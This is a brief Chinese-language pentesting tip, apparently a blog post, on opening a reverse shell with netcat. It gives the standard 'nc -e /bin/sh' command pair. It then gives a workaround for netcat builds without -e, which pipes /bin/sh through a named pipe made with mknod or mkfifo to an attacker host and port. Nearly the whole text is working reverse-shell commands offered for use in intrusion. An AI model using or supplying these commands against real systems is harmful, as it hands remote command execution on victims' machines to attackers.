对于瑞士×××nc我们再熟悉不过了，经常被用来进行数据包发送，文件传送以及反弹shell。在***测试过程中如果想反弹shell我们通常的做法是：


Attacker: nc -lnvp listenportVictim: nc attackerip listenport -e /bin/sh

在Linux的大部分发行版中都默认编译了nc，但也许是出于安全考虑，发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量)，也就是说我们不能通过-e选项绑定目标的shell，使得我们在利用上受到限制，但这种情况下是不是就没办法利用了呢？天无绝人之路，来看下面的TIP。


在Attack这边依然用nc -lnvp listenport监听某端口，在目标环境中依次执行以下命令：

root@bt:~#mknod /tmp/backpipe proot@bt:~#/bin/sh 0</tmp/backpipe | ncattackeriplistenport 1>/tmp/backpipe

第一条命令使用mknod在tmp目录下创建一个管道backpipe，第二条命令首先将默认shell环境的输入重定向给刚才创建的管道，然后将输出通过nc attackerip listenport重定向到***者一端，最后将shell的执行结果再重定向到管道中。

20130510125824_42692.png

网上查了下mknod命令，说是只能root用户才有权限执行，可是经过测试普通权限的用户也可以创建管道等特殊文件，如果没有权限使用mkfifo /tmp/backpipe也可以创建一个管道。